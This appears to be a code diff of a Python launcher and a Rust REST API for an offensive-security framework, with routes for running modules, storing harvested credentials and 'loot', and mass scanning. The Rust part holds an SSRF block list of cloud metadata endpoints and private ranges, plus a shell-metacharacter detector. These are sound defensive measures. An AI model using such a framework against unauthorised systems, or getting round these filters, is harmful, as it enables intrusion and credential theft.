||||
|
||||
sub_manual = sub.add_parser("manual", help="Print the commands without running them.")
|
||||
sub_manual.add_argument(
|
||||
"--only",
|
||||
choices=ONLY_CHOICES,
|
||||
default=None,
|
||||
help="Which framework(s) to print commands for. Default: prompt on a TTY, else 'both'.",
|
||||
)
|
||||
sub_manual.add_argument("--no-docker", action="store_true")
|
||||
sub_manual.add_argument("--release", action="store_true")
|
||||
|
||||
sub.add_parser("doctor", help="Check installed tools.")
|
||||
sub.add_parser("status", help="Show service / port status.")
|
||||
|
||||
sub_docker = sub.add_parser("docker", help="docker-compose subcommands.")
|
||||
sub_docker.add_argument("op", choices=["up", "down", "logs", "logs-follow"])
|
||||
|
||||
sub_rust = sub.add_parser("rust", help="Rust backend operations.")
|
||||
sub_rust.add_argument("op", choices=["build", "run"])
|
||||
sub_rust.add_argument("--release", action="store_true")
|
||||
sub_rust.add_argument("--bind", default="127.0.0.1:8080", help="host:port for `rust run`.")
|
||||
|
||||
sub_arctic = sub.add_parser("arctic", help="ArcticAlopex frontend operations.")
|
||||
sub_arctic.add_argument("op", choices=["install", "env", "migrate", "dev", "build", "start"])
|
||||
sub_arctic.add_argument("--overwrite", action="store_true", help="Overwrite an existing .env (op=env).")
|
||||
|
||||
return p
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
args = build_parser().parse_args(argv)
|
||||
repo = discover(Path(args.path))
|
||||
|
||||
try:
|
||||
if args.cmd == "auto":
|
||||
only = args.only or _pick_only(repo)
|
||||
auto(repo, only=only, skip_docker=args.no_docker, release=args.release, dry_run=args.dry_run)
|
||||
elif args.cmd == "manual":
|
||||
only = args.only or _pick_only(repo)
|
||||
manual(repo, only=only, skip_docker=args.no_docker, release=args.release)
|
||||
elif args.cmd == "doctor":
|
||||
sys.exit(1 if doctor(repo) else 0)
|
||||
elif args.cmd == "status":
|
||||
status(repo)
|
||||
elif args.cmd == "docker":
|
||||
if args.op == "up":
|
||||
docker_up(repo, dry_run=args.dry_run)
|
||||
elif args.op == "down":
|
||||
docker_down(repo, dry_run=args.dry_run)
|
||||
elif args.op == "logs":
|
||||
docker_logs(repo, follow=False, dry_run=args.dry_run)
|
||||
elif args.op == "logs-follow":
|
||||
docker_logs(repo, follow=True, dry_run=args.dry_run)
|
||||
elif args.cmd == "rust":
|
||||
if args.op == "build":
|
||||
rust_build(repo, release=args.release, dry_run=args.dry_run)
|
||||
else: # run
|
||||
rust_run(repo, bind=args.bind, release=args.release, dry_run=args.dry_run)
|
||||
elif args.cmd == "arctic":
|
||||
if args.op == "install":
|
||||
arctic_install(repo, dry_run=args.dry_run)
|
||||
elif args.op == "env":
|
||||
gen_env(repo, overwrite=args.overwrite, dry_run=args.dry_run)
|
||||
elif args.op == "migrate":
|
||||
arctic_migrate(repo, dry_run=args.dry_run)
|
||||
elif args.op == "dev":
|
||||
arctic_dev(repo, dry_run=args.dry_run)
|
||||
elif args.op == "build":
|
||||
arctic_build(repo, dry_run=args.dry_run)
|
||||
elif args.op == "start":
|
||||
arctic_start(repo, dry_run=args.dry_run)
|
||||
except KeyboardInterrupt:
|
||||
warn("Interrupted")
|
||||
return 130
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
+932
@@ -0,0 +1,932 @@
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use axum::{
|
||||
body::Bytes,
|
||||
extract::Path as AxumPath,
|
||||
http::{Method, StatusCode, Uri},
|
||||
response::{IntoResponse, Json, Response},
|
||||
routing::{any, get, post},
|
||||
Router,
|
||||
};
|
||||
use colored::*;
|
||||
use serde_json::{json, Value};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
|
||||
// ─── Validation Helpers ─────────────────────────────────────────────
|
||||
|
||||
pub(crate) fn validate_module_name(module: &str) -> bool {
|
||||
!module.is_empty()
|
||||
&& module.len() <= 256
|
||||
&& module.chars().all(|c| matches!(c, 'a'..='z' | '0'..='9' | '/' | '_' | '-'))
|
||||
}
|
||||
|
||||
pub(crate) fn validate_target(target: &str) -> bool {
|
||||
!target.is_empty() && target.len() <= 2048 && !target.chars().any(|c| c.is_control())
|
||||
}
|
||||
|
||||
pub(crate) fn is_blocked_target(target: &str) -> bool {
|
||||
// Multi-target (comma-separated): block if ANY element is blocked, so a
|
||||
// benign-looking list like "8.8.8.8,127.0.0.1" can't smuggle a blocked
|
||||
// host past the filter. Mirrors Target::parse's multi-target handling.
|
||||
if target.contains(',') {
|
||||
return target
|
||||
.split(',')
|
||||
.map(str::trim)
|
||||
.filter(|s| !s.is_empty())
|
||||
.any(is_blocked_target);
|
||||
}
|
||||
// Mass-scan keywords are deliberately allowed — this function exists for
|
||||
// SSRF mitigation, not for restricting scan scope. Modules that opt in
|
||||
// to mass-scan mode parse these keywords themselves.
|
||||
// M45: "0.0.0.0" alone resolves to localhost and must NOT be allowlisted.
|
||||
// Only "0.0.0.0/0" (full-internet CIDR) and "random" are genuine
|
||||
// mass-scan keywords that modules parse themselves.
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
|
||||
if MASS_SCAN_KEYWORDS.contains(&target) {
|
||||
return false;
|
||||
}
|
||||
|
||||
let lower = target.to_lowercase();
|
||||
|
||||
// Try proper URL parsing first — handles @, port, scheme correctly
|
||||
let host_no_port = if let Ok(parsed) = url::Url::parse(&lower) {
|
||||
// Percent-decode the host and check it
|
||||
parsed.host_str().map(|h| {
|
||||
percent_decode_host(h)
|
||||
})
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// If URL parsing succeeded, check the extracted host
|
||||
if let Some(ref host) = host_no_port {
|
||||
if check_blocked_hostname(host) {
|
||||
return true;
|
||||
}
|
||||
if let Ok(ip) = host.parse::<std::net::IpAddr>() {
|
||||
return is_blocked_ip(ip);
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: manual extraction for bare hostnames/IPs (no scheme)
|
||||
let host_part = lower
|
||||
.strip_prefix("http://")
|
||||
.or_else(|| lower.strip_prefix("https://"))
|
||||
.or_else(|| lower.strip_prefix("ftp://"))
|
||||
.or_else(|| lower.strip_prefix("gopher://"))
|
||||
.unwrap_or_else(|| {
|
||||
// Generic scheme stripping for any other protocol (e.g. dict://, tftp://)
|
||||
if let Some(idx) = lower.find("://") {
|
||||
&lower[idx + 3..]
|
||||
} else {
|
||||
&lower
|
||||
}
|
||||
});
|
||||
// Strip userinfo (everything before @)
|
||||
let host_part = if let Some(at_pos) = host_part.find('@') {
|
||||
&host_part[at_pos + 1..]
|
||||
} else {
|
||||
host_part
|
||||
};
|
||||
let host_part = host_part.split('/').next().unwrap_or(host_part);
|
||||
let host_part = host_part.split('?').next().unwrap_or(host_part);
|
||||
let host_part = host_part.split('#').next().unwrap_or(host_part);
|
||||
|
||||
// Strip port from host
|
||||
let bare_host: &str = if host_part.starts_with('[') {
|
||||
host_part
|
||||
.trim_start_matches('[')
|
||||
.split(']')
|
||||
.next()
|
||||
.unwrap_or(host_part)
|
||||
} else if host_part.matches(':').count() == 1 {
|
||||
host_part.split(':').next().unwrap_or(host_part)
|
||||
} else {
|
||||
host_part
|
||||
};
|
||||
|
||||
let decoded = percent_decode_host(bare_host);
|
||||
|
||||
if check_blocked_hostname(&decoded) {
|
||||
return true;
|
||||
}
|
||||
if let Ok(ip) = decoded.parse::<std::net::IpAddr>() {
|
||||
return is_blocked_ip(ip);
|
||||
}
|
||||
if let Ok(ip) = bare_host.parse::<std::net::IpAddr>() {
|
||||
return is_blocked_ip(ip);
|
||||
}
|
||||
|
||||
// Block file:// scheme entirely
|
||||
if lower.starts_with("file://") {
|
||||
return true;
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
fn percent_decode_host(host: &str) -> String {
|
||||
let mut result = String::with_capacity(host.len());
|
||||
let bytes = host.as_bytes();
|
||||
let mut i = 0;
|
||||
while i < bytes.len() {
|
||||
if bytes[i] == b'%' && i + 2 < bytes.len()
|
||||
&& let (Some(hi), Some(lo)) = (
|
||||
hex_val(bytes[i + 1]),
|
||||
hex_val(bytes[i + 2]),
|
||||
) {
|
||||
result.push((hi << 4 | lo) as char);
|
||||
i += 3;
|
||||
continue;
|
||||
}
|
||||
result.push(bytes[i] as char);
|
||||
i += 1;
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
fn hex_val(b: u8) -> Option<u8> {
|
||||
match b {
|
||||
b'0'..=b'9' => Some(b - b'0'),
|
||||
b'a'..=b'f' => Some(b - b'a' + 10),
|
||||
b'A'..=b'F' => Some(b - b'A' + 10),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn check_blocked_hostname(host: &str) -> bool {
|
||||
// Each entry is `(exact, dotted_suffix)`. Pre-built so the per-call hot
|
||||
// path is just two `eq`/`ends_with` checks per entry instead of a
|
||||
// `format!(".{suffix}")` allocation each time.
|
||||
const BLOCKED_HOST_SUFFIXES: &[(&str, &str)] = &[
|
||||
("metadata.google.internal", ".metadata.google.internal"),
|
||||
("metadata.goog", ".metadata.goog"),
|
||||
("metadata.internal", ".metadata.internal"),
|
||||
("metadata.azure.com", ".metadata.azure.com"),
|
||||
("metadata.oraclecloud.com", ".metadata.oraclecloud.com"),
|
||||
];
|
||||
const BLOCKED_HOST_EXACT: &[&str] = &[
|
||||
"metadata",
|
||||
"instance-data",
|
||||
];
|
||||
const BLOCKED_WILDCARD_SUFFIXES: &[&str] = &[
|
||||
".sslip.io",
|
||||
".nip.io",
|
||||
".xip.io",
|
||||
".traefik.me",
|
||||
".local.gd",
|
||||
];
|
||||
|
||||
for (exact, dotted) in BLOCKED_HOST_SUFFIXES {
|
||||
if host == *exact || host.ends_with(dotted) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for exact in BLOCKED_HOST_EXACT {
|
||||
if host == *exact {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for wildcard in BLOCKED_WILDCARD_SUFFIXES {
|
||||
if host.ends_with(wildcard) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn is_blocked_ip(ip: std::net::IpAddr) -> bool {
|
||||
match ip {
|
||||
std::net::IpAddr::V6(v6) => {
|
||||
if v6.is_loopback() { return true; }
|
||||
let segs = v6.segments();
|
||||
if segs[0] == 0xfd00 && segs[1] == 0x0ec2 { return true; }
|
||||
if segs[0] & 0xfe00 == 0xfc00 { return true; }
|
||||
if segs[0] & 0xffc0 == 0xfe80 { return true; }
|
||||
// Use to_ipv4() (not to_ipv4_mapped()) so both IPv4-mapped
|
||||
// (::ffff:a.b.c.d) and the deprecated IPv4-compatible (::a.b.c.d)
|
||||
// forms are unwrapped — otherwise ::127.0.0.1 bypasses the filter.
|
||||
if let Some(v4) = v6.to_ipv4() {
|
||||
return is_blocked_ipv4(v4);
|
||||
}
|
||||
false
|
||||
}
|
||||
std::net::IpAddr::V4(v4) => is_blocked_ipv4(v4),
|
||||
}
|
||||
}
|
||||
|
||||
fn is_blocked_ipv4(v4: std::net::Ipv4Addr) -> bool {
|
||||
let o = v4.octets();
|
||||
o[0] == 0 // 0.0.0.0/8 ("this network"; routes to localhost on Linux)
|
||||
|| o[0] == 127 // 127.0.0.0/8 loopback
|
||||
|| o[0] == 10 // 10.0.0.0/8 RFC1918
|
||||
|| (o[0] == 172 && (o[1] & 0xf0) == 16) // 172.16.0.0/12 RFC1918
|
||||
|| (o[0] == 192 && o[1] == 168) // 192.168.0.0/16 RFC1918
|
||||
|| (o[0] == 169 && o[1] == 254) // 169.254.0.0/16 link-local
|
||||
|| (o[0] == 100 && (o[1] & 0xc0) == 64) // 100.64.0.0/10 CGNAT
|
||||
|| o == [168, 63, 129, 16] // Azure wireserver metadata
|
||||
|| o == [100, 100, 100, 200] // Alibaba metadata
|
||||
}
|
||||
|
||||
/// SSRF/resolution gate: resolve `target` and verify no resolved IP is blocked.
|
||||
/// On failure, distinguishes a genuine SSRF block from a mere DNS failure so
|
||||
/// callers don't report an unresolvable/slow host as a 403 SSRF block (which
|
||||
/// violates "failures must be distinguishable from negatives" and makes real
|
||||
/// engagement failures undebuggable). Returns `(error_code, message)`:
|
||||
/// `SSRF_BLOCKED` for a real block, `TARGET_ERROR` for resolution failure.
|
||||
pub(crate) async fn ssrf_gate(target: &str) -> Result<(), (&'static str, String)> {
|
||||
match resolve_and_check(target).await {
|
||||
Ok(_) => Ok(()),
|
||||
Err(msg) if msg.contains("blocked") => Err(("SSRF_BLOCKED", msg)),
|
||||
Err(msg) => Err(("TARGET_ERROR", msg)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolve a hostname and verify none of the returned IPs are blocked.
|
||||
/// Returns the resolved addresses on success, or an error if blocked / unresolvable.
|
||||
/// Callers should connect to the returned addresses directly (not re-resolve)
|
||||
/// to prevent DNS rebinding attacks.
|
||||
pub(crate) async fn resolve_and_check(target: &str) -> Result<Vec<std::net::SocketAddr>, String> {
|
||||
// Multi-target (comma-separated): resolve and SSRF-check each element
|
||||
// individually; the whole list is rejected if any element is blocked or
|
||||
// fails to resolve. Without this, the list is fed to lookup_host as one
|
||||
// string, which always fails DNS and rejects even legitimate lists.
|
||||
if target.contains(',') {
|
||||
let mut all = Vec::new();
|
||||
for part in target.split(',').map(str::trim).filter(|s| !s.is_empty()) {
|
||||
all.extend(Box::pin(resolve_and_check(part)).await?);
|
||||
}
|
||||
return Ok(all);
|
||||
}
|
||||
// M45: "0.0.0.0" alone resolves to localhost — must not be allowlisted.
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
|
||||
if MASS_SCAN_KEYWORDS.contains(&target) {
|
||||
return Ok(vec![]);
|
||||
}
|
||||
|
||||
if is_blocked_target(target) {
|
||||
return Err("target blocked by SSRF filter".to_string());
|
||||
}
|
||||
let lower = target.to_lowercase();
|
||||
let host_part = lower
|
||||
.strip_prefix("http://")
|
||||
.or_else(|| lower.strip_prefix("https://"))
|
||||
.unwrap_or(&lower);
|
||||
let host_part = host_part.split('/').next().unwrap_or(host_part);
|
||||
let lookup_addr = if host_part.contains(':') {
|
||||
host_part.to_string()
|
||||
} else {
|
||||
format!("{}:80", host_part)
|
||||
};
|
||||
match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(5),
|
||||
tokio::net::lookup_host(&lookup_addr),
|
||||
).await {
|
||||
Ok(Ok(addrs)) => {
|
||||
let resolved: Vec<std::net::SocketAddr> = addrs.collect();
|
||||
for addr in &resolved {
|
||||
if is_blocked_ip(addr.ip()) {
|
||||
return Err(format!("resolved IP {} is blocked", addr.ip()));
|
||||
}
|
||||
}
|
||||
// Pin the validated IPs to the bare hostname so the subsequent module
|
||||
// connect reuses exactly these addresses instead of re-resolving the
|
||||
// name (which a rebinding attacker could point at a blocked IP after
|
||||
// this check passes). reqwest clients built via build_http_client_with
|
||||
// consult these pins. IP-literal targets are not resolved by reqwest,
|
||||
// so pinning them is a harmless no-op.
|
||||
// Strip a trailing numeric :port to get the bare hostname for pinning.
|
||||
// Spelled out with explicit branches (no wildcard arm) so every case
|
||||
// is handled visibly and nothing is folded away.
|
||||
let host_only: &str = if let Some((host, port)) = host_part.rsplit_once(':') {
|
||||
if !host.is_empty() && port.chars().all(|c| c.is_ascii_digit()) {
|
||||
// "host:port" — pin the hostname, drop the numeric port.
|
||||
host
|
||||
} else {
|
||||
// A ':' is present but the suffix is not a numeric port (e.g. an
|
||||
// IPv6 literal like "::1"); use the whole string. IP literals are
|
||||
// never resolved by reqwest, so pinning them is simply unused.
|
||||
host_part
|
||||
}
|
||||
} else {
|
||||
// No ':' present — already a bare hostname.
|
||||
host_part
|
||||
};
|
||||
crate::utils::network::pin_resolved_ips(
|
||||
host_only,
|
||||
&resolved.iter().map(|s| s.ip()).collect::<Vec<_>>(),
|
||||
);
|
||||
Ok(resolved)
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
tracing::debug!(target = lookup_addr, "SSRF resolve failed → blocking: {}", e);
|
||||
Err(format!("DNS resolution failed: {}", e))
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::debug!(target = lookup_addr, "SSRF resolve timed out (5s) → blocking: {e}");
|
||||
Err(format!("DNS resolution timed out: {e}"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn contains_shell_metacharacters(input: &str) -> bool {
|
||||
input.chars().any(|c| matches!(c, '&' | '|' | ';' | '`' | '$' | '>' | '<' | '\n' | '\r' | '(' | ')' | '{' | '}'))
|
||||
|| input.contains("$(")
|
||||
|| input.contains("${")
|
||||
}
|
||||
|
||||
pub(crate) fn validate_result_filename(name: &str) -> bool {
|
||||
!name.is_empty()
|
||||
&& name.len() <= 255
|
||||
&& name.is_ascii()
|
||||
&& !name.contains('/')
|
||||
&& !name.contains('\\')
|
||||
&& !name.contains("..")
|
||||
&& name.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.'))
|
||||
&& !name.starts_with('.')
|
||||
&& name.ends_with(".txt")
|
||||
}
|
||||
|
||||
// ─── Health Endpoint ────────────────────────────────────────────────
|
||||
|
||||
async fn health_check() -> Json<serde_json::Value> {
|
||||
Json(serde_json::json!({
|
||||
"status": "ok",
|
||||
}))
|
||||
}
|
||||
|
||||
// ─── HTTP → JSON-RPC Adapter ────────────────────────────────────────
|
||||
//
|
||||
// Maps the REST surface (GET/POST/PUT/DELETE on `/api/<resource>[/<id>...]`)
|
||||
// onto the existing `crate::ws::dispatch_rpc` handlers so we keep one
|
||||
// canonical dispatch table for both transports.
|
||||
//
|
||||
// The middleware in `pq_middleware::pq_middleware` has already decrypted the
|
||||
// body, restored the original semantic HTTP method (from `X-PQ-Method`), and
|
||||
// scrubbed the PQ envelope headers by the time these handlers run.
|
||||
|
||||
fn rpc_status(code: &str) -> StatusCode {
|
||||
match code {
|
||||
"INVALID_INPUT" | "INVALID_OUTPUT_FILE" | "INVALID_JOB_ID" | "PARSE_ERROR"
|
||||
| "INVALID_PORT" | "INVALID_CONCURRENCY" => {
|
||||
StatusCode::BAD_REQUEST
|
||||
}
|
||||
"NOT_FOUND" | "MODULE_NOT_FOUND" | "METHOD_NOT_FOUND" => StatusCode::NOT_FOUND,
|
||||
"SSRF_BLOCKED" | "SECURITY" => StatusCode::FORBIDDEN,
|
||||
"TENANT_REJECTED" => StatusCode::SERVICE_UNAVAILABLE,
|
||||
// Genuine capacity/limit conflicts the caller can retry later.
|
||||
"JOB_LIMIT" | "OPTION_LIMIT" | "SUB_LIMIT" | "SPOOL_BUSY" => {
|
||||
StatusCode::CONFLICT
|
||||
}
|
||||
"RATE_LIMIT" => StatusCode::TOO_MANY_REQUESTS,
|
||||
// Module / IO / serialization / persistence failures are server-side
|
||||
// runtime failures, not client conflicts. `OPTION_ERROR`/`TARGET_ERROR`/
|
||||
// `STORE_ERROR` mean "failed to persist", so they belong here (500), not
|
||||
// 409 — a 409 wrongly tells the client its request conflicts with state.
|
||||
"MODULE_ERROR"
|
||||
| "EXPORT_ERROR"
|
||||
| "SPOOL_ERROR"
|
||||
| "IO_ERROR"
|
||||
| "STORE_ERROR"
|
||||
| "OPTION_ERROR"
|
||||
| "TARGET_ERROR"
|
||||
| "SERIALIZE_ERROR" => StatusCode::INTERNAL_SERVER_ERROR,
|
||||
_ => StatusCode::INTERNAL_SERVER_ERROR,
|
||||
}
|
||||
}
|
||||
|
||||
fn ok(value: Value) -> Response {
|
||||
Json(value).into_response()
|
||||
}
|
||||
|
||||
fn err_resp(status: StatusCode, code: &str, message: &str) -> Response {
|
||||
(status, Json(json!({ "error": message, "code": code }))).into_response()
|
||||
}
|
||||
|
||||
fn parse_query(query: &str) -> std::collections::BTreeMap<String, String> {
|
||||
url::form_urlencoded::parse(query.as_bytes())
|
||||
.map(|(k, v)| (k.into_owned(), v.into_owned()))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Run a single RPC call and turn its result into an HTTP response with a
|
||||
/// uniform `{ data: ... }` envelope on success and `{ error, code }` on
|
||||
/// failure. This is the single canonical shape every REST client sees.
|
||||
async fn invoke_rpc(method: &str, params: Value) -> Response {
|
||||
match crate::ws::dispatch_rpc(method, ¶ms).await {
|
||||
Ok(data) => ok(json!({ "data": data })),
|
||||
Err((code, msg)) => err_resp(rpc_status(&code), &code, &msg),
|
||||
}
|
||||
}
|
||||
|
||||
/// The single catch-all `/api/{*tail}` handler. Parses the path tail,
|
||||
/// method, query string, and JSON body into a `(rpc_method, params)` pair
|
||||
/// and forwards to `crate::ws::dispatch_rpc`.
|
||||
async fn api_dispatcher(
|
||||
method: Method,
|
||||
AxumPath(tail): AxumPath<String>,
|
||||
uri: Uri,
|
||||
axum::Extension(identity): axum::Extension<crate::pq_middleware::AuthenticatedIdentity>,
|
||||
body: Bytes,
|
||||
) -> Response {
|
||||
let path = format!("/{}", tail.trim_start_matches('/'));
|
||||
let segments: Vec<&str> = path.trim_start_matches('/').split('/').collect();
|
||||
let head = segments.first().copied().unwrap_or("");
|
||||
let sub = segments.get(1).copied();
|
||||
let third = segments.get(2).copied();
|
||||
|
||||
let body_value: Value = if body.is_empty() {
|
||||
Value::Null
|
||||
} else {
|
||||
match serde_json::from_slice::<Value>(&body) {
|
||||
Ok(v) => v,
|
||||
Err(e) => {
|
||||
tracing::debug!("API JSON parse error: {e}");
|
||||
return err_resp(
|
||||
StatusCode::BAD_REQUEST,
|
||||
"PARSE_ERROR",
|
||||
"Request body is not valid JSON",
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
let body_obj = body_value.as_object().cloned().unwrap_or_default();
|
||||
let query = parse_query(uri.query().unwrap_or(""));
|
||||
|
||||
let mut params = serde_json::Map::new();
|
||||
|
||||
macro_rules! merge_query {
|
||||
($params:ident, $query:ident, [$($key:literal),* $(,)?]) => {
|
||||
$(
|
||||
if let Some(v) = $query.get($key) {
|
||||
$params.insert($key.to_string(), Value::String(v.clone()));
|
||||
}
|
||||
)*
|
||||
};
|
||||
}
|
||||
macro_rules! merge_query_int {
|
||||
($params:ident, $query:ident, [$($key:literal),* $(,)?]) => {
|
||||
$(
|
||||
if let Some(v) = $query.get($key).and_then(|s| s.parse::<u64>().ok()) {
|
||||
$params.insert($key.to_string(), Value::Number(v.into()));
|
||||
}
|
||||
)*
|
||||
};
|
||||
}
|
||||
macro_rules! body_into_params {
|
||||
($params:ident, $body:ident) => {
|
||||
for (k, v) in $body.iter() {
|
||||
$params.insert(k.clone(), v.clone());
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
let rpc_method: &str = match (method.as_str(), head, sub, third) {
|
||||
// ── Health ──────────────────────────────────────────────────
|
||||
("GET", "health", None, _) => "health",
|
||||
|
||||
// ── Modules ─────────────────────────────────────────────────
|
||||
("GET", "modules", None, _) => "list_modules",
|
||||
("GET", "modules", Some("enriched"), _) => "list_modules_enriched",
|
||||
("GET", "modules", Some("search"), _) => {
|
||||
merge_query!(params, query, ["q"]);
|
||||
"search_modules"
|
||||
}
|
||||
("GET", "module", Some(_), _) => {
|
||||
// /api/module/<modulepath...> — everything after /module/ is the module path.
|
||||
let module_path = &path["/module/".len()..];
|
||||
params.insert("path".to_string(), Value::String(module_path.to_string()));
|
||||
"module_info"
|
||||
}
|
||||
|
||||
// ── Run / Check / Honeypot ──────────────────────────────────
|
||||
("POST", "run", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"run_module"
|
||||
}
|
||||
("POST", "run", Some("all"), _) | ("POST", "run_all", None, _) => {
|
||||
// There is no multi-module runner; these routes previously aliased
|
||||
// run_module (which needs a single `module`), so they advertised a
|
||||
// capability that does not exist. Be explicit rather than misleading.
|
||||
return err_resp(
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"NOT_IMPLEMENTED",
|
||||
"Multi-module run is not implemented. POST /api/run with an explicit `module` per request (enumerate via GET /api/modules and loop client-side).",
|
||||
);
|
||||
}
|
||||
("POST", "honeypot-check", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"honeypot_check"
|
||||
}
|
||||
|
||||
// ── Target ──────────────────────────────────────────────────
|
||||
("GET", "target", None, _) => "get_target",
|
||||
("POST", "target", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"set_target"
|
||||
}
|
||||
("DELETE", "target", None, _) => "clear_target",
|
||||
|
||||
// ── Options ─────────────────────────────────────────────────
|
||||
("GET", "options", None, _) => "list_options",
|
||||
("POST", "options", None, _) => {
|
||||
// set_option takes the multi-key body directly.
|
||||
body_into_params!(params, body_obj);
|
||||
"set_option"
|
||||
}
|
||||
("DELETE", "options", None, _) => {
|
||||
let tenant_name = identity.client_name.clone();
|
||||
// Fail closed, same as the main dispatcher.
|
||||
if let Err(e) = crate::tenant::resolve_for(&tenant_name) {
|
||||
return err_resp(StatusCode::SERVICE_UNAVAILABLE, "TENANT_REJECTED", &e);
|
||||
}
|
||||
if body_obj.is_empty() {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "Request body must list at least one option key to delete");
|
||||
}
|
||||
let mut deleted = Vec::new();
|
||||
let mut errors = Vec::new();
|
||||
for k in body_obj.keys() {
|
||||
let single = json!({ "key": k });
|
||||
let tn = tenant_name.clone();
|
||||
let result = crate::tenant::CURRENT_TENANT
|
||||
.scope(tn, crate::ws::dispatch_rpc("delete_option", &single))
|
||||
.await;
|
||||
match result {
|
||||
Ok(v) => deleted.push(v),
|
||||
Err((code, msg)) => errors.push(json!({"key": k, "code": code, "error": msg})),
|
||||
}
|
||||
}
|
||||
// If nothing was deleted and everything errored, surface a non-2xx
|
||||
// so a client can't mistake an all-failed delete for success.
|
||||
if deleted.is_empty() && !errors.is_empty() {
|
||||
let all_not_found = errors
|
||||
.iter()
|
||||
.all(|e| e.get("code").and_then(|c| c.as_str()) == Some("NOT_FOUND"));
|
||||
let status = if all_not_found { StatusCode::NOT_FOUND } else { StatusCode::CONFLICT };
|
||||
return (status, Json(json!({ "data": { "deleted": deleted, "errors": errors } }))).into_response();
|
||||
}
|
||||
return ok(json!({
|
||||
"data": { "deleted": deleted, "errors": errors }
|
||||
}));
|
||||
}
|
||||
|
||||
// ── Credentials ─────────────────────────────────────────────
|
||||
("GET", "creds", None, _) => {
|
||||
merge_query!(params, query, ["host", "service", "search"]);
|
||||
merge_query_int!(params, query, ["limit", "offset"]);
|
||||
if let Some(v) = query.get("reveal")
|
||||
&& (v == "1" || v.eq_ignore_ascii_case("true")) {
|
||||
params.insert("reveal".to_string(), Value::Bool(true));
|
||||
}
|
||||
"list_creds"
|
||||
}
|
||||
("GET", "creds", Some("search"), _) => {
|
||||
merge_query!(params, query, ["q"]);
|
||||
"search_creds"
|
||||
}
|
||||
("POST", "creds", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_cred"
|
||||
}
|
||||
("DELETE", "creds", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_cred"
|
||||
}
|
||||
("POST", "creds", Some("clear"), _) => "clear_creds",
|
||||
|
||||
// ── Hosts ───────────────────────────────────────────────────
|
||||
("GET", "hosts", None, _) => {
|
||||
merge_query!(params, query, ["os", "search"]);
|
||||
merge_query_int!(params, query, ["limit", "offset"]);
|
||||
"list_hosts"
|
||||
}
|
||||
("POST" | "PUT", "hosts", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_host"
|
||||
}
|
||||
("DELETE", "hosts", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_host"
|
||||
}
|
||||
("POST", "hosts", Some("notes"), _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_host_note"
|
||||
}
|
||||
("POST", "hosts", Some("clear"), _) => "clear_hosts",
|
||||
|
||||
// ── Services ────────────────────────────────────────────────
|
||||
("GET", "services", None, _) => {
|
||||
merge_query!(params, query, ["host", "search"]);
|
||||
merge_query_int!(params, query, ["port", "limit", "offset"]);
|
||||
"list_services"
|
||||
}
|
||||
("POST", "services", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_service"
|
||||
}
|
||||
("DELETE", "services", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_service"
|
||||
}
|
||||
|
||||
// ── Loot ────────────────────────────────────────────────────
|
||||
("GET", "loot", None, _) => {
|
||||
merge_query!(params, query, ["host", "loot_type", "search"]);
|
||||
merge_query_int!(params, query, ["limit", "offset"]);
|
||||
"list_loot"
|
||||
}
|
||||
("GET", "loot", Some("search"), _) => {
|
||||
merge_query!(params, query, ["q"]);
|
||||
"search_loot"
|
||||
}
|
||||
("POST", "loot", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_loot"
|
||||
}
|
||||
("DELETE", "loot", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_loot"
|
||||
}
|
||||
("POST", "loot", Some("clear"), _) => "clear_loot",
|
||||
|
||||
// ── Workspace ───────────────────────────────────────────────
|
||||
("GET", "workspace", None, _) => "get_workspace",
|
||||
("POST", "workspace", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"switch_workspace"
|
||||
}
|
||||
("GET", "workspaces", None, _) => "list_workspaces",
|
||||
|
||||
// ── Jobs ────────────────────────────────────────────────────
|
||||
("GET", "jobs", None, _) => "list_jobs",
|
||||
("POST", "jobs", Some("limit"), _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"set_job_limit"
|
||||
}
|
||||
("GET", "jobs", Some(id), _) => {
|
||||
if let Ok(n) = id.parse::<u64>() {
|
||||
params.insert("id".to_string(), Value::Number(n.into()));
|
||||
} else {
|
||||
